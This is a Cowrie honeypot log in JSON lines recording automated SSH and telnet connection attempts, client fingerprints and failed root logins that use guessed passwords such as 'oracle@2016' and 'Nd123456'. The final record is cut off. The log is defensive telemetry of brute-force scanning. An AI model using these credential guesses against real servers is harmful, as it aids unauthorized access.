{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":42998,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a6c7e50521c","protocol":"ssh","message":"New connection: 43.135.182.46:42998 (159.203.135.109:22) [session: 1a6c7e50521c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:25.561921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:25.566880Z","src_ip":"43.135.182.46","session":"1a6c7e50521c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:25.636515Z","src_ip":"43.135.182.46","session":"1a6c7e50521c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"scooter","message":"login attempt [root/scooter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:25.947872Z","src_ip":"43.135.182.46","session":"1a6c7e50521c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:26.267731Z","src_ip":"194.113.233.25","session":"495b8e945c2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57468,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4cf409e859a","protocol":"telnet","message":"New connection: 192.119.13.58:57468 (10.17.0.5:23) [session: a4cf409e859a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:26.466702Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:27.020340Z","src_ip":"43.135.182.46","session":"1a6c7e50521c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54234,"dst_ip":"10.17.0.5","dst_port":23,"session":"4059636d86e8","protocol":"telnet","message":"New connection: 192.119.13.58:54234 (10.17.0.5:23) [session: 4059636d86e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:32.442965Z"}
{"eventid":"cowrie.session.closed","duration":39.104631185531616,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:42.275680Z","src_ip":"192.119.13.58","session":"277c5a03abfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.161723136901855,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:43.602172Z","src_ip":"192.119.13.58","session":"6e0e8051efbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48312,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ffd7d9a1189","protocol":"telnet","message":"New connection: 192.119.13.58:48312 (10.17.0.5:23) [session: 0ffd7d9a1189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:45.023670Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49074,"dst_ip":"10.17.0.5","dst_port":23,"session":"acdad1354152","protocol":"telnet","message":"New connection: 192.119.13.58:49074 (10.17.0.5:23) [session: acdad1354152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:45.217238Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60208,"dst_ip":"10.17.0.5","dst_port":23,"session":"911dd20148b3","protocol":"telnet","message":"New connection: 192.119.13.58:60208 (10.17.0.5:23) [session: 911dd20148b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:55.348780Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46726,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9895fb8660f","protocol":"telnet","message":"New connection: 192.119.13.58:46726 (10.17.0.5:23) [session: c9895fb8660f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:59.301444Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49476,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b20b42ce2e7","protocol":"telnet","message":"New connection: 192.119.13.58:49476 (10.17.0.5:23) [session: 9b20b42ce2e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:16:59.987180Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56430,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d195084d406","protocol":"telnet","message":"New connection: 192.119.13.58:56430 (10.17.0.5:23) [session: 1d195084d406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:01.772857Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.166.103.173","src_port":39182,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e704e81007f","protocol":"ssh","message":"New connection: 103.166.103.173:39182 (159.203.135.109:22) [session: 4e704e81007f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:05.123562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:05.130733Z","src_ip":"103.166.103.173","session":"4e704e81007f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:05.381484Z","src_ip":"103.166.103.173","session":"4e704e81007f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ray","message":"login attempt [root/ray] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:06.399786Z","src_ip":"103.166.103.173","session":"4e704e81007f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:07.651169Z","src_ip":"103.166.103.173","session":"4e704e81007f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54928,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc983f613fca","protocol":"telnet","message":"New connection: 192.119.13.58:54928 (10.17.0.5:23) [session: bc983f613fca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:08.492553Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59962,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ae660c68fcf","protocol":"telnet","message":"New connection: 192.119.13.58:59962 (10.17.0.5:23) [session: 0ae660c68fcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:09.776888Z"}
{"eventid":"cowrie.session.closed","duration":39.95327138900757,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:12.396129Z","src_ip":"192.119.13.58","session":"4059636d86e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.129.144","src_port":58330,"dst_ip":"159.203.135.109","dst_port":22,"session":"67feaa8749ae","protocol":"ssh","message":"New connection: 43.135.129.144:58330 (159.203.135.109:22) [session: 67feaa8749ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:16.248880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:16.253674Z","src_ip":"43.135.129.144","session":"67feaa8749ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:16.322957Z","src_ip":"43.135.129.144","session":"67feaa8749ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oracle@2016","message":"login attempt [root/oracle@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:16.630104Z","src_ip":"43.135.129.144","session":"67feaa8749ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:17.705435Z","src_ip":"43.135.129.144","session":"67feaa8749ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.27257251739502,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:18.739119Z","src_ip":"192.119.13.58","session":"a4cf409e859a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47824,"dst_ip":"10.17.0.5","dst_port":23,"session":"bce44ae5b07e","protocol":"telnet","message":"New connection: 192.119.13.58:47824 (10.17.0.5:23) [session: bce44ae5b07e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:20.977108Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.104.156","src_port":35744,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c99369a7a81","protocol":"ssh","message":"New connection: 43.153.104.156:35744 (10.17.0.5:22) [session: 8c99369a7a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:21.780856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:21.786337Z","src_ip":"43.153.104.156","session":"8c99369a7a81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:21.859077Z","src_ip":"43.153.104.156","session":"8c99369a7a81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Nd123456","message":"login attempt [root/Nd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:22.163177Z","src_ip":"43.153.104.156","session":"8c99369a7a81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:23.235162Z","src_ip":"43.153.104.156","session":"8c99369a7a81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.04214572906494,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:24.065667Z","src_ip":"192.119.13.58","session":"0ffd7d9a1189","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46166,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc67b5194351","protocol":"telnet","message":"New connection: 192.119.13.58:46166 (10.17.0.5:23) [session: cc67b5194351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:27.636643Z"}
{"eventid":"cowrie.session.closed","duration":44.29448628425598,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:29.511505Z","src_ip":"192.119.13.58","session":"acdad1354152","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59304,"dst_ip":"10.17.0.5","dst_port":23,"session":"005c01bd9cd8","protocol":"telnet","message":"New connection: 192.119.13.58:59304 (10.17.0.5:23) [session: 005c01bd9cd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:31.038528Z"}
{"eventid":"cowrie.session.closed","duration":37.044835329055786,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:32.393481Z","src_ip":"192.119.13.58","session":"911dd20148b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":52648,"dst_ip":"159.203.135.109","dst_port":22,"session":"311a938c8245","protocol":"ssh","message":"New connection: 43.135.182.46:52648 (159.203.135.109:22) [session: 311a938c8245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:35.045030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:35.050465Z","src_ip":"43.135.182.46","session":"311a938c8245","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:35.120196Z","src_ip":"43.135.182.46","session":"311a938c8245","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Harley","message":"login attempt [root/Harley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:35.424079Z","src_ip":"43.135.182.46","session":"311a938c8245","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:36.496692Z","src_ip":"43.135.182.46","session":"311a938c8245","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.18670058250427,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:40.173746Z","src_ip":"192.119.13.58","session":"9b20b42ce2e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.59732699394226,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:43.898662Z","src_ip":"192.119.13.58","session":"c9895fb8660f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60028,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fc15c308e9c","protocol":"telnet","message":"New connection: 192.119.13.58:60028 (10.17.0.5:23) [session: 5fc15c308e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:46.120431Z"}
{"eventid":"cowrie.session.closed","duration":45.40675354003906,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:47.179470Z","src_ip":"192.119.13.58","session":"1d195084d406","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.42279124259949,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:47.199550Z","src_ip":"192.119.13.58","session":"0ae660c68fcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40818,"dst_ip":"10.17.0.5","dst_port":23,"session":"a06c5a771af9","protocol":"telnet","message":"New connection: 192.119.13.58:40818 (10.17.0.5:23) [session: a06c5a771af9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:48.363276Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.178.7.34","src_port":47288,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6d46429ff0d","protocol":"ssh","message":"New connection: 108.178.7.34:47288 (10.17.0.5:22) [session: e6d46429ff0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:50.971778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:17:50.980013Z","src_ip":"108.178.7.34","session":"e6d46429ff0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"]